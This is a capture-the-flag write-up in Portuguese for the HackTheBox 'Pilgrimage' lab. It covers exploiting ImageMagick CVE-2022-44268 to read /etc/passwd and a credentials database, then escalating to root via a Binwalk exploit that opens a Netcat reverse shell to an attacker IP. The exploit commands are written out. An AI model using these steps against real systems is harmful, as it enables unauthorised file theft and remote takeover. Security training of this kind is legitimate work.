Durante a fase de enumeração, encontrámos dois serviços expostos: SSH e HTTP (Nginx). Ao analisar o serviço HTTP, descobrimos a existência de uma pasta oculta chamada “.git”, que provavelmente contém o projeto web.
nmap -sCV -p 22,80 10.10.11.219
Durante a exploração do sítio Web “pilgrimage.htb”, foi efectuado um processo de fuzzing para procurar possíveis subdomínios. No entanto, não foram encontradas correspondências.
Depois de descarregar a pasta “.git” utilizando a ferramenta gitdumper, pudemos examinar o seu conteúdo em busca de possíveis vulnerabilidades que nos permitissem obter acesso ao sistema.
git-dumper http://pilgrimage.htb/.git/ git
Ao aceder ao site, podemos observar um formulário de carregamento de ficheiros que solicita uma imagem. Quando uma imagem é carregada, é gerado um link no caminho “/shrunk”, que redimensiona a imagem.
Analisando o código, pode ser observado que ele lida com o upload e o redimensionamento de imagens no site. Também verifica se o utilizador está autenticado e devolve o seu nome de utilizador. Se o pedido for um método POST e for enviada uma imagem para redimensionamento, o código processa a imagem, guarda-a numa localização específica e regista a informação numa base de dados. Posteriormente, o utilizador é redireccionado para uma página que apresenta uma mensagem de sucesso ou de falha com base no resultado do processo.
É importante mencionar que o código utiliza o ImageMagick, especificamente o comando “magick convert”, para realizar o redimensionamento do arquivo carregado e salvá-lo no caminho /shrunk.
Verificando o binário do ImageMagick, foi identificado que ele está na versão 7.1.0-49, que tem uma vulnerabilidade conhecida chamada “Arbitrary File Read”. Esta vulnerabilidade permite a um atacante ler ficheiros do sistema.
https://www.metabaseq.com/imagemagick-zero-days/
https://github.com/voidz0r/CVE-2022-44268
Seguindo a Prova de Conceito (PoC) que encontrámos em Rust, podemos ler ficheiros utilizando os seguintes passos. Primeiro, geramos um arquivo PNG modificado que nos permitirá fazer o upload para o sistema. Uma vez que o arquivo é baixado, podemos então ler o conteúdo do nosso arquivo /etc/passwd a partir desse arquivo modificado.
cargo run "/etc/passwd"
Usando o comando “identify -verbose”, podemos obter informações detalhadas sobre o ficheiro em questão. Neste caso, encontraremos um payload em formato hexadecimal. Para o descodificar, podemos utilizar a ferramenta CyberChef, que nos permite convertê-lo em texto ASCII.
identify -verbose 649756a97443a.png
https://gchq.github.io/CyberChef/
explorando a vulnerabilidade LFI, acedemos e lemos com sucesso ficheiros de sistema, permitindo-nos descobrir a existência de um utilizador chamado “Emily”.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
Se analisarmos o ficheiro dashboard.php, encontramos consultas SQL para uma base de dados SQLite localizada em /var/db/pilgrimage. Vamos tentar descarregá-la utilizando uma vulnerabilidade de inclusão de ficheiros locais (LFI).
cargo run "/var/db/pilgrimage"
Encontrámos credenciais de início de sessão para o utilizador “Emily”, o que nos permite estabelecer uma ligação SSH utilizando a sua conta.
usando a ferramenta pspy64 para escalonamento de privilégios, descobrimos que o utilizador root está a executar um ficheiro chamado “malwarescan.sh.” Além disso, temos permissões de leitura para esse ficheiro.
O script bash monitora o diretório /var/www/pilgrimage.htb/shrunk/ para arquivos recém-criados e analisa-os para conteúdo indesejado usando binwalk. Se encontrar conteúdo indesejado num ficheiro, remove-o automaticamente.
COPIAR
#!/bin/bash
blacklist=("Executable script" "Microsoft executable")
/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
binout="$(/usr/local/bin/binwalk -e "$filename")"
for banned in "${blacklist[@]}"; do
if [[ "$binout" == *"$banned"* ]]; then
/usr/bin/rm "$filename"
break
fi
done
done
A versão do Binwalk encontrada é a 2.3.2, que tem uma vulnerabilidade que permite a execução arbitrária de código. Iremos aproveitar esta vulnerabilidade para aumentar os nossos privilégios de acesso.
https://www.exploit-db.com/exploits/51249
https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk/
Encontrámos um exploit no Exploit-DB que nos permite gerar uma imagem manipulada utilizando o binário Binwalk. Ao passar certos parâmetros para o binário, podemos executar comandos no sistema alvo ou, no nosso caso, gerar uma shell reversa usando o Netcat. Esta técnica dá-nos a oportunidade de obter acesso remoto ao sistema e continuar a aumentar os nossos privilégios.
COPIAR
python3 exploit.py image.png 10.10.14.x 443
Assim que tivermos gerado a imagem manipulada utilizando o exploit, precisamos de a carregar para o caminho “/var/www/pilgrimage.htb/shrunk/” no servidor de destino. Quando a imagem estiver no lugar, devemos começar a escutar no Netcat para capturar a conexão de entrada. Isto permitir-nos-á estabelecer uma shell inversa e obter acesso ao sistema.
Usando o pspy64 para monitorar as atividades do sistema, observamos que a execução do comando foi bem-sucedida e conseguimos estabelecer um shell reverso.
Seguindo estes passos, conseguimos comprometer esta máquina com sucesso.
Happy Hacking……………